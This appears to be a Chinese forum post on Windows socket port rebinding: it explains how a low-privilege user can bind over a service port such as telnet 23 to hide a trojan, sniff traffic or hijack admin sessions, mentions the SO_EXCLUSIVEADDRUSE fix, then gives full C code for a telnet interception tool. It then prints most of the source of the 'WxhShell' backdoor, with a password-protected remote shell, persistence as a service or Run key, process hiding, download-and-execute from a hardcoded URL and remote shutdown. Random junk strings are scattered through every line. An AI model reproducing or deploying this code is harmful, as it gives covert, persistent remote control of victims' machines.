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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ! >:O3*/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /eI38>v  
yaf2+zV*  
  saddr.sin_family = AF_INET; b &JPLUr  
gFKQm(0g2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VYF4q9  
\R<yja  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j.z#fU  
-X=f+4j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DxYu   
g9gyWz  
  这意味着什么?意味着可以进行如下的攻击: b,c vQD  
L$b9|j7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !O5UE  
.,c8cq?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;7hf'k  
rdK.*oT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PQfx0n,  
C{c (K!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :70oO}0m.  
u4S3NLG)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dlW w=^  
p?}Rolk7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j#*K[  
+?c&Gazi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zYep V  
TqlUe@E  
  #include u%|VmM>  
  #include X)yTx8v4  
  #include lu>>~vy6  
  #include    nhIITfJJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YB 4R8}4  
  int main()  E5o0^^  
  { P`"dj@1'  
  WORD wVersionRequested; _ pJU~8  
  DWORD ret; qYpHH!!C=  
  WSADATA wsaData; x[vX|oE!A  
  BOOL val; mU3UQ j  
  SOCKADDR_IN saddr; )QX9T  
  SOCKADDR_IN scaddr; mV;7SBoT  
  int err; rGN-jb)T+  
  SOCKET s; nBNZ@nD  
  SOCKET sc; BjB2YO& /  
  int caddsize; ;w1h)  
  HANDLE mt; S4|)N,#  
  DWORD tid;   -F*j`  
  wVersionRequested = MAKEWORD( 2, 2 ); 5B51^"  
  err = WSAStartup( wVersionRequested, &wsaData ); &o?pZ(\C  
  if ( err != 0 ) { kh`X92~  
  printf("error!WSAStartup failed!\n"); 5Zq- |"|  
  return -1; Me8d o; G|  
  } F`-? 3]\3  
  saddr.sin_family = AF_INET; t'z] <7  
   %TLAn[LW(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uU<Yf5  
{!-w|&bF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6 Fm.^9@  
  saddr.sin_port = htons(23); Jus)cO#I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9/nL3U@i1  
  { P[Qr[74 )  
  printf("error!socket failed!\n"); 9 Iw+g]`y*  
  return -1; :!3P4?a  
  } L\b$1U!i  
  val = TRUE; UP,(zKTA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '8}\! i&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cd:O@)i  
  { HHX9QebiST  
  printf("error!setsockopt failed!\n"); QJv,@@mu  
  return -1; B aXzz  
  } HVC\(h,)i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D 0(gEb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C&"8A\we  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *EotYT  
87*R#((  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s&c^Wr  
  { Jcy`:C\Ay  
  ret=GetLastError(); \+5L. Q  
  printf("error!bind failed!\n"); MxCs0::w  
  return -1; yX8F^iv[  
  } YN\ QwV  
  listen(s,2); E P<U:F  
  while(1) :\.v\.wm  
  { `_f3o,5  
  caddsize = sizeof(scaddr); MM^tk{2?.  
  //接受连接请求 .d.7D ]Yn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1z8.wdWJ}  
  if(sc!=INVALID_SOCKET) M14pg0Q  
  { )of_"gZ$3A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MT0}MMr  
  if(mt==NULL) b?r0n]  
  { w| >Y&/IX  
  printf("Thread Creat Failed!\n"); /a]+xL  
  break; 3 \kT#nr  
  } `pLp+#1 `R  
  } \0b ",|"3  
  CloseHandle(mt); eNXpRvY  
  } 5xRh'Jkyb  
  closesocket(s); 9%)'QDVGLf  
  WSACleanup(); ;T/' CD  
  return 0; ~kYF/B2*  
  }   RRV&!<l@$  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;E*ozKpm  
  { J,E&Uz95%  
  SOCKET ss = (SOCKET)lpParam; FCI38?`%  
  SOCKET sc; u<+;]8[o  
  unsigned char buf[4096]; PY`V]|J  
  SOCKADDR_IN saddr; (/uL6W d0  
  long num; BURiLEYZl  
  DWORD val; Z-:$)0f  
  DWORD ret;  u0i @.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s  n?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4I,HvP  
  saddr.sin_family = AF_INET; fF>H7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NeNKOW#X  
  saddr.sin_port = htons(23); X_=oJi|:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +[z(N  
  { jP+4'O!s[  
  printf("error!socket failed!\n"); S:DB%V3  
  return -1; dAga(<K  
  } ^ 41 p+  
  val = 100; I]T-}pG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mTcLocx  
  { lMP|$C  
  ret = GetLastError(); \f._I+gJ  
  return -1; );=JoRQ{  
  } }p&aI?-B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |4dNi1{Zd  
  { Ef7 Kx49I  
  ret = GetLastError(); |z5olu$gVc  
  return -1; VM-J^  
  } M`"2;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W>+<r9Rt4  
  { c5U1N&k5&  
  printf("error!socket connect failed!\n"); 9N9|hy  
  closesocket(sc); hf%W grO.  
  closesocket(ss); ib& |271gG  
  return -1; ti'OjoJL  
  } &M<431y  
  while(1) 1f~_# EIC  
  { 6Q\n<&,{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F=# zy#@.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W&rjJZY6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {9P<G]Z  
  num = recv(ss,buf,4096,0); bXtA4O  
  if(num>0) K)^.96{/@  
  send(sc,buf,num,0); H#6J7\xcS  
  else if(num==0) !n !~Bw  
  break; />]/At  
  num = recv(sc,buf,4096,0); }~\J7R'  
  if(num>0) S$V'_  
  send(ss,buf,num,0); ))eR  
  else if(num==0) js2?t~E]  
  break; 8lbNw_U  
  } |/rBR!kPq  
  closesocket(ss); LV9\  
  closesocket(sc); tMupX-V  
  return 0 ; =niU6Q}  
  } CuDU~)`  
'zRd?Z>%  
w}7`Vas9  
========================================================== SUx\qz)  
*6k (xL  
下边附上一个代码,,WXhSHELL c?wFEADn  
Kz'W |  
========================================================== ujDAs%6MZ  
*mBn''a"*  
#include "stdafx.h" .i`+}@iA  
u*H2kn[DU  
#include <stdio.h> $z` jR*  
#include <string.h> t+66kBN  
#include <windows.h> J&h 3,  
#include <winsock2.h> k \]@  
#include <winsvc.h> _*&<hAZj  
#include <urlmon.h> I8?egDkk  
i"_JF-IbN  
#pragma comment (lib, "Ws2_32.lib") r\L:JTZ$  
#pragma comment (lib, "urlmon.lib") 0z\=uQ0  
23+>K  
#define MAX_USER   100 // 最大客户端连接数 )v'3pTs2  
#define BUF_SOCK   200 // sock buffer DfqXw^BKD  
#define KEY_BUFF   255 // 输入 buffer tjYe82  
~*G I<n  
#define REBOOT     0   // 重启 +)ro EJ_  
#define SHUTDOWN   1   // 关机 yKq;EcVx  
$^`hu%s,~  
#define DEF_PORT   5000 // 监听端口 #Etz}:%W  
c[ =9Z;|  
#define REG_LEN     16   // 注册表键长度 r`6XF  
#define SVC_LEN     80   // NT服务名长度 8CMI\yk  
s2&UeYbIs  
// 从dll定义API arDY@o~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {jr>Z"/q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w)3LYF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w=O:|Xu#*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n j1 cqh  
mnG\UK,k  
// wxhshell配置信息 RkC?(p  
struct WSCFG { ISOPKZ#F  
  int ws_port;         // 监听端口 w[loV  
  char ws_passstr[REG_LEN]; // 口令 JQI`9$asuC  
  int ws_autoins;       // 安装标记, 1=yes 0=no %M~Ugv_4v  
  char ws_regname[REG_LEN]; // 注册表键名 I]TL#ywF   
  char ws_svcname[REG_LEN]; // 服务名  vUJb-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {:fyz#>>^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bQ_i&t\yzB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fa@#nY|UV3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &a1agi7M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A@&+!sO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +Hv%m8'0|  
IzkZ^;(N  
}; ^oaG.)3  
<g,xc)[  
// default Wxhshell configuration Bxz{rR0XV  
struct WSCFG wscfg={DEF_PORT, KvC:(Vqj  
    "xuhuanlingzhe", %!LrC!6P4  
    1, ]uj H7T  
    "Wxhshell", 4AUY8Pxp  
    "Wxhshell", FL0[V,  
            "WxhShell Service", *}3~8fu{  
    "Wrsky Windows CmdShell Service", us$~6  
    "Please Input Your Password: ", 0vDP- qJV-  
  1, RrGS$<  
  "http://www.wrsky.com/wxhshell.exe", _MnMT9  
  "Wxhshell.exe" kU4Zij-O  
    }; ;Mw9}Reh@  
-O. MfI+  
// 消息定义模块 hg=\L5R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k' pu%nWN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #_4L/LV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7| IW\  
char *msg_ws_ext="\n\rExit."; H`B%6S /  
char *msg_ws_end="\n\rQuit."; Zb8i[1P  
char *msg_ws_boot="\n\rReboot..."; &# `d8}3D  
char *msg_ws_poff="\n\rShutdown..."; <S TwylL  
char *msg_ws_down="\n\rSave to "; V?5QpBK I  
?=f\oH$  
char *msg_ws_err="\n\rErr!"; &)<]AG.vd!  
char *msg_ws_ok="\n\rOK!"; G;wv.|\  
d.2   
char ExeFile[MAX_PATH]; 2>?GD@GE  
int nUser = 0; x&8fmUS:@;  
HANDLE handles[MAX_USER]; 0nG& LL5  
int OsIsNt; ?RrJYj1  
Nf1) 5  
SERVICE_STATUS       serviceStatus; K\=bpc"Fy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >TwOL  
~r&Q\G  
// 函数声明 .r[J} O"  
int Install(void); CM8WI~  
int Uninstall(void); i8u9~F   
int DownloadFile(char *sURL, SOCKET wsh); G8 f7N; D  
int Boot(int flag); l AE$HP'o  
void HideProc(void); *slZ17xg  
int GetOsVer(void); bAt!9uFn  
int Wxhshell(SOCKET wsl); i1C]bUXA  
void TalkWithClient(void *cs); I-&/]<5y  
int CmdShell(SOCKET sock); Lp1wA*  
int StartFromService(void); hW _NARA  
int StartWxhshell(LPSTR lpCmdLine); +1F@vag7  
li,kW`j+t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "yL&?B"9@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CA[k$Sw*  
/>.&  
// 数据结构和表定义 7u o4F= %  
SERVICE_TABLE_ENTRY DispatchTable[] = mpK|I|-   
{ t[)z/[ m  
{wscfg.ws_svcname, NTServiceMain}, x8tRa0-q  
{NULL, NULL} )<IbQH|_  
}; =:o)+NE  
'HPw5 L  
// 自我安装 #d(6q$IE  
int Install(void) XlDVJx<&J  
{ V>4 !fD=  
  char svExeFile[MAX_PATH]; ]wdudvS@6r  
  HKEY key; ",Ek| z  
  strcpy(svExeFile,ExeFile); S7~yRIjB  
~8}"X] 4  
// 如果是win9x系统,修改注册表设为自启动 m6+2r D  
if(!OsIsNt) { PY)C=={p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { si%f.A#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /xj'Pq((}p  
  RegCloseKey(key); y)Ip\.KV\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E5-8tHV   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r(%#@?&  
  RegCloseKey(key); ax7u b  
  return 0; ft:/-$&H  
    } WNlWigwYl  
  } LPewoAXO  
} hFylQfd  
else { "R4~ 8r  
$N:m 9R  
// 如果是NT以上系统,安装为系统服务 PN+,M50;1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dpGaI  
if (schSCManager!=0) =xai 7iM  
{ U>ob)-tl  
  SC_HANDLE schService = CreateService \muyL?  
  ( B~LB^ n(>@  
  schSCManager, -wvJZ  
  wscfg.ws_svcname, b>Vs5nY!  
  wscfg.ws_svcdisp, _aa3Qw x  
  SERVICE_ALL_ACCESS, !i#;P9K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V@e0VV3yx%  
  SERVICE_AUTO_START, /rKrnxw  
  SERVICE_ERROR_NORMAL, #^xiv/ sV  
  svExeFile, ~wh8)rm  
  NULL, ~)sb\o  
  NULL, WoesE:NiR  
  NULL, W53i5u(  
  NULL, 0y2iS' t  
  NULL |p.mA-81  
  ); YC*S;q  
  if (schService!=0) q^O{LGN  
  { %+>I1G  
  CloseServiceHandle(schService); 9~Q.[ A  
  CloseServiceHandle(schSCManager); Z~muQ c?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7QQ1oPV  
  strcat(svExeFile,wscfg.ws_svcname); tGv4 S\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,i,f1XJ|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /of,4aaK7  
  RegCloseKey(key); X(g<rz1J]  
  return 0;  _U#ue  
    } ?6tuo:gP  
  } T"dWrtO  
  CloseServiceHandle(schSCManager); )]X_')K  
} .CwMxuW  
} vV8 y_  
VGq2ITg9eE  
return 1; |CStw"Fog  
} d=H C;T)  
i#(T?=VPcy  
// 自我卸载 (fY(-  
int Uninstall(void) rw8db'  
{ .NwHr6/s*  
  HKEY key; Z</$~ T  
]UFf-  
if(!OsIsNt) { 4*F+-fu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \u",bMQF  
  RegDeleteValue(key,wscfg.ws_regname); 6dq5f?w]  
  RegCloseKey(key); A3M)yWq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oy/#,R_n%  
  RegDeleteValue(key,wscfg.ws_regname); z4_>6sf{  
  RegCloseKey(key); j.AAY?L  
  return 0; <7?MutHM-  
  } H[!by)H  
} m:X;dcq'3  
} d&.)Dw  
else { Y 1LE.{  
T9N /;3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #{i\t E  
if (schSCManager!=0) Y~fds#y0  
{ S(9fGh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]e)<CE2   
  if (schService!=0) A!goR-J]  
  { Gi Zy C  
  if(DeleteService(schService)!=0) { 70*Y4'u }A  
  CloseServiceHandle(schService); (MwB% g  
  CloseServiceHandle(schSCManager); OG!^:OY  
  return 0; mhT3Fwc  
  } *jf (TIU  
  CloseServiceHandle(schService); ~H)bvN^  
  } NqlG=pu  
  CloseServiceHandle(schSCManager); DkQy.  
} *.W ![%Be  
} </qXKEu`_  
5BTQJa  
return 1; 4 K)P Yk  
} CXvL`d"  
~ hYG%  
// 从指定url下载文件 0j_`7<,:  
int DownloadFile(char *sURL, SOCKET wsh) a|lcOU  
{ 3 LoB-4u?  
  HRESULT hr; W}a&L  
char seps[]= "/"; cFD(Ap  
char *token; PHZA?>Q7Z  
char *file; C+*: lLY  
char myURL[MAX_PATH]; ),dXaP[  
char myFILE[MAX_PATH]; R279=sO,J  
d,+d8X  
strcpy(myURL,sURL); >g8Tl`P,iN  
  token=strtok(myURL,seps); |BF4 F5wC?  
  while(token!=NULL) l*b3Mg  
  { @ 5|F:J  
    file=token; ` *h-j/M  
  token=strtok(NULL,seps); rjx6Ad/\  
  } 1i#M(u_  
j`='SzVloW  
GetCurrentDirectory(MAX_PATH,myFILE); yC6XO&:g  
strcat(myFILE, "\\"); 9q;+ Al^Z  
strcat(myFILE, file); I>b!4?h  
  send(wsh,myFILE,strlen(myFILE),0); ON] z-  
send(wsh,"...",3,0); #R'm|En'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N1+%[Uh9)  
  if(hr==S_OK) 9.D'!  
return 0; &37QUdp+p  
else }_:^&cT  
return 1; IGOqV>;  
%j{gZTz-  
} :74)nbS  
.KXpB7:  
// 系统电源模块 jrZM  
int Boot(int flag) Qc Ia%lf  
{ K"#np!Y)  
  HANDLE hToken; V!a\:%#^Y  
  TOKEN_PRIVILEGES tkp; @/E5$mX`  
YRAWylm  
  if(OsIsNt) { 8b[ ^6]rM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ql3hq.E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~t.*B& A  
    tkp.PrivilegeCount = 1; E@Q+[~H}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^MKvZ DOP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9ZeTS~i  
if(flag==REBOOT) { ~X*)gS-=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AQQeLdTq  
  return 0; s(r(! FZ  
} ]fnc.^{  
else { o!gl :izb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =K- B I  
  return 0; 3a"4Fn  
} 7%&#V2  
  }  Fp'k{  
  else { p\WW~qD  
if(flag==REBOOT) { yL7a*C&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0!eZ&.h?4  
  return 0; oV&AJ=|\  
} vp{jh-&  
else { S XIo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q6%jCt2'  
  return 0; 5BN!uUkm+  
} <A;R%\V  
} $*\[I{Zau}  
jyb/aov  
return 1; )F8G q,  
} r**u=q %p  
4S`2")V  
// win9x进程隐藏模块 Fi14_{  
void HideProc(void) [x kbzJ  
{ #9F=+[L  
KtG|m'\D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uw8O"}U8  
  if ( hKernel != NULL ) 5<0&y3  
  { <=W;z=$!Bb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T&H[JQ/h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #tRLvOR:  
    FreeLibrary(hKernel); t5\~Z}G8  
  } <w}YD @(f  
MRMsw NQ  
return; E=_M=5]  
} 1(CpTaa  
WV]Si2pOZ  
// 获取操作系统版本 <7~HG(ks  
int GetOsVer(void) U,_uy@fE=?  
{ ps\A\aggML  
  OSVERSIONINFO winfo; _?x*F?5=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b%IRIi&,  
  GetVersionEx(&winfo); {0 IEizQ|i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h# c.HtVE  
  return 1; %AwR4"M  
  else suC]  
  return 0; _VLc1svv  
} )$p<BLU  
R4.$9_ ui  
// 客户端句柄模块 OlL FuVR  
int Wxhshell(SOCKET wsl) ,B_Nz}\8  
{ hX# y7m  
  SOCKET wsh; 66NJ&ac  
  struct sockaddr_in client; bS=aFl#  
  DWORD myID; l}:&}  
TRW{` b[  
  while(nUser<MAX_USER) "CI#2tnL7  
{ V^Z"FwWk  
  int nSize=sizeof(client); 6 9_etv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A.8{LY;  
  if(wsh==INVALID_SOCKET) return 1; hsr,a{B%$  
LmE%`qNg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Dgulx5kGZ  
if(handles[nUser]==0) o?BcpWp  
  closesocket(wsh); :s`~m;Y9?  
else P~HzN C  
  nUser++; Q(=} PF  
  } h; ?=:(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rtd&WkU rD  
l*V]54|ON3  
  return 0; t}n:!v"|+O  
} $$ma1.t"  
ca%s$' d  
// 关闭 socket #usi1UWB#Q  
void CloseIt(SOCKET wsh) ByqB4Hv2  
{ wqEO+7)S  
closesocket(wsh); p uEu v6F  
nUser--; iOXxxP%#  
ExitThread(0); IhoV80b  
} s tvI  
yxP(|  
// 客户端请求句柄 n]c6nX:'  
void TalkWithClient(void *cs) 0%$E^`  
{ {>$i)B  
o?%1^6&HE  
  SOCKET wsh=(SOCKET)cs; 5$9g4  
  char pwd[SVC_LEN]; ye !}hm=w  
  char cmd[KEY_BUFF]; lJ1_Zs `  
char chr[1]; WsO'4~X9  
int i,j; E:'TZ4Z  
/qM:;:N%j  
  while (nUser < MAX_USER) { N.R,[K  
?"-%>y@w  
if(wscfg.ws_passstr) { L@xag-b i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^oaFnzJdf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B7HNNX  
  //ZeroMemory(pwd,KEY_BUFF); W?is8r:  
      i=0; /o%J / |  
  while(i<SVC_LEN) { rV;X1x}l  
r1dP9MT\8  
  // 设置超时 pD;'uEFBQ  
  fd_set FdRead; GF]V$5.ps  
  struct timeval TimeOut; G>"=Af(t?Y  
  FD_ZERO(&FdRead); ?XOl>IO  
  FD_SET(wsh,&FdRead);  &ig6\&1  
  TimeOut.tv_sec=8; 9+><:(,  
  TimeOut.tv_usec=0; c%,@O&o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r: Ij\YQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H5wzzSV!:B  
9HJrMX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MtWzGE=?  
  pwd=chr[0]; A9qbE  
  if(chr[0]==0xd || chr[0]==0xa) { ai|d`:;  
  pwd=0; _ zM/>Qa  
  break; G?Fqm@J{XT  
  } $hv o^$  
  i++; gT3i{iU  
    } oTS/z\C"<u  
zb<YYJ]  
  // 如果是非法用户,关闭 socket OAx5 LTd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `?@7T-v  
} b/^i  
oZVq }}R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nKxu8YAJe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YK Cd:^u  
:g@H=W  
while(1) { , gYbi-E  
NHI(}Ea|]  
  ZeroMemory(cmd,KEY_BUFF); Js{X33^Ju  
KYe@2 6   
      // 自动支持客户端 telnet标准   r5#8V zr  
  j=0; Z]VmTB  
  while(j<KEY_BUFF) { +b O]9* g]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  NW$_w  
  cmd[j]=chr[0]; {k:W?`  
  if(chr[0]==0xa || chr[0]==0xd) { VSf<(udGr  
  cmd[j]=0; Ky:y1\K1^K  
  break; mQ~0cwo)  
  } v>S[} du  
  j++; (tY0/s  
    } f&5'1tG  
cviPCjM  
  // 下载文件 O4Z_v%2M  
  if(strstr(cmd,"http://")) { FR5P;Yz%H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); acG4u+[ ]  
  if(DownloadFile(cmd,wsh)) V@%:y tDf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:G5n 5J  
  else p0r:U< &  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lt|'("($*  
  }  :oN$w\A  
  else { jEa U;  
/^Ckk  
    switch(cmd[0]) { (j>a?dKDS  
  XXwe/>J  
  // 帮助 wgETL|3-  
  case '?': { 98 Dg[O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E![Ye@w  
    break; ^/`W0kT  
  } ^"  
  // 安装 ]x12_+  
  case 'i': { '=eG[#gy  
    if(Install()) lxVA:tz0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e"I+5r",  
    else m@A?'gD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3]z%C'  
    break; u[Ij4h.  
    } N A`qC.K   
  // 卸载 3$TU2-x;g  
  case 'r': { 0 UbY0sYo  
    if(Uninstall()) p]lZ4#3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$Jop"To  
    else ,\]`X7r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WciL zx/  
    break; \7\7i-Vo  
    } {D>@ZC  
  // 显示 wxhshell 所在路径 EklcnM|6  
  case 'p': { V{D~e0i/v  
    char svExeFile[MAX_PATH]; d[( }  
    strcpy(svExeFile,"\n\r"); z yh #ygH  
      strcat(svExeFile,ExeFile); -G|?Kl  
        send(wsh,svExeFile,strlen(svExeFile),0); GE S_|[Q  
    break; 4lCEzWo[/  
    } XCAy _fL<B  
  // 重启 Mtw7aK  
  case 'b': { k1h>8z.Tg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O5v)}4  
    if(Boot(REBOOT)) ' 5F3,/r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KFuP gp  
    else { ^F="'/Pq[  
    closesocket(wsh); dm:2:A8^  
    ExitThread(0); &[Zg;r    
    } ;"R1>tw3)  
    break; K6BP~@H_D  
    } }M0GPpv  
  // 关机 g]mR;T3  
  case 'd': { rYn)E=FG/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8mh@C6U  
    if(Boot(SHUTDOWN)) :4\=xGiY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); exP:lO_0n  
    else { 4S 7#B  
    closesocket(wsh); S A\_U::T  
